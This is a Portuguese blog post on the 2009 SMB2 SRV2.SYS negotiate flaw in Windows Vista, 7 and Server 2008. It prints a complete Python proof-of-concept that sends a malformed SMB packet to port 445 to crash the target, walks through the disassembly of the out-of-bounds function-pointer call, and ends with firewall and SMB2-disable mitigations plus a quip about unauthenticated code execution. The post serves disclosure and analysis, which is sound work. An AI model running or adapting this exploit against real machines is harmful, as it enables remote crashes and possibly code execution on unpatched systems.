B.S.O.D. - Blue Screen of Death (Tela Azul da Morte) é uma tela apresentado nos sistemas operacionais Windows em caso de erro grave de sistema.
SMB - Server Message Block funciona como um aplicativo de nível rede, utilizado principalmente para o acesso aos arquivos compartilhados, impressoras, portas seriais, e diversas comunicações entre pontos em uma rede. Ela também fornece um mecanismo de autenticação Inter-Process Communication. A maioria dos usos de SMB envolve computadores que executam os sistemas operacionais Windows em ambientes de rede.
Hoje acordamos com um aviso publicado por Laurent Gaffie onde uma possivel falha nos drivers SMB v2.0 (utilizados nos sistemas Windows Vista, 7 e 2008 Server) poderia causar um B.S.O.D.
A Falha:
Para estabelecer uma comunicação, o cliente envia uma menssagem para o servidor, chamada de NEGOTIATE PROTOCOL REQUEST, esta menssagem é utilizada para identificar o dialeto utilizado para futuras comunicações.
Quando o driver SRV2.SYS recebe uma string mal formada no momento do NPR ele falha, causando um B.S.O.D.
Quando o driver SRV2.SYS recebe uma string mal formada no momento do NPR ele falha, causando um B.S.O.D.
O Código para exploração:
Smb-Bsod.py:
#!/usr/bin/python
# When SMB2.0 recieve a "&" char in the "Process Id High" SMB header field it dies with a
# PAGE_FAULT_IN_NONPAGED_AREA from socket import socket
from time import sleep
host = "IP_ADDR", 445
buff = (
"\x00\x00\x00\x90" # Begin SMB header: Session message
"\xff\x53\x4d\x42" # Server Component: SMB
"\x72\x00\x00\x00" # Negociate Protocol
"\x00\x18\x53\xc8" # Operation 0x18 & sub 0xc853
"\x00\x26"# Process ID High: --> :) normal value should be "\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe"
"\x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x45\x54"
"\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31"
"\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"
"\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57"
"\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61"
"\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c"
"\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c"
"\x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e"
"\x30\x30\x32\x00"
)
s = socket()
s.connect(host)
s.send(buff)
s.close()
Para quem utiliza o Metasploit, também já existe disponivel um módulo para exploração desta falha
Utilizando engenharia reversa, podemos analisar o codigo e ver como a falha acontece - Módulo: Srv2.sys :
Code (asm)
; int __stdcall Smb2ValidateProviderCallback(PVOID DestinationBuffer)_Smb2ValidateProviderCallback@4 proc near
…
…
.text:000156B3 loc_156B3: ; CODE XREF: Smb2ValidateProviderCallback(x)+4D5j
.text:000156B3 ; Smb2ValidateProviderCallback(x)+4DEj
.text:000156B3 movzx eax, word ptr [esi+0Ch]; packet->SBM_Header->Process_ID_High
.text:000156B7 mov eax, _ValidateRoutines[eax*4]; FALLO - out-of-bounds dereference.
.text:000156BE test eax, eax
.text:000156C0 jnz short loc_156C9
.text:000156C2 mov eax, 0C0000002h
.text:000156C7 jmp short loc_156CC
.text:000156C9 ; —————————————————————————
.text:000156C9
.text:000156C9 loc_156C9: ; CODE XREF: Smb2ValidateProviderCallback(x)+4F3j
.text:000156C9 push ebx
.text:000156CA call eax ; Smb2ValidateNegotiate(x) ; Smb2ValidateNegotiate(x) - KABOOOM!!
Como você pode ver, [esi +0 xc] aponta para o nosso pacote, exatamente para o campo de cabeçalho ProcessIDHigh cujo tamanho é de 16 bits. Podemos controlar inteiramente este valor. Mais tarde, esse valor é usado como índice para um ponteiro de função dentro do _ValidateRoutines tabela de funções. Bug Classico ! o código não está verificando o tamanho da tabela antes da referência ao ponteiro de função. Esta é a razão pela qual esta é uma vulnerabilidade de execução remota de código e não apenas uma negação de serviço. E esta é a razão pela qual, a exploração pode ou não travar a máquina. Se a página apontada pelo índice é inválido o sistema irá BSOD caso contrário ele pode falhar em outro ponto ou simplesmente não a falhar.
Como se proteger:
Ainda não há uma correção disponivel pela Microsoft, portanto, podemos filtrar o acesso ao protocolo TCP na porta 445 com um firewall, ou desabilitar o protocolo SMB2
Sistemas afetados:
Windows Vista, Windows 7 e Windows 2008 Server
Assim que tiver mais detalhes sobre esta falha... atualizarei o post ! :D
OBS: quem conseguir controlar esse ponteiro na hora do estouro da pilha num vai prestar !!! kkk pode apontar para execuçao de qualquer programa na memória, e já que a falha não necessita autenticação... Oo ;)
Referencias:
http://seclists.org/fulldisclosure/2009/Sep/0039.html
http://www.reversemode.com/index.php?option=com_content&task=view&id=64&Itemid=1
http://blogs.technet.com/askperf/archive/2008/05/30/two-minute-drill-overview-of-smb-2-0.aspx
Imagem do B.S.O.D.:
Updated: [09/10/2009 - 11:10 a.m.]
Microsoft Security Advisory (975497) Vulnerabilities in SMB Could Allow Remote Code Execution
US-CERT - Microsoft Releases Security Advisory 975497
Nenhum comentário:
Postar um comentário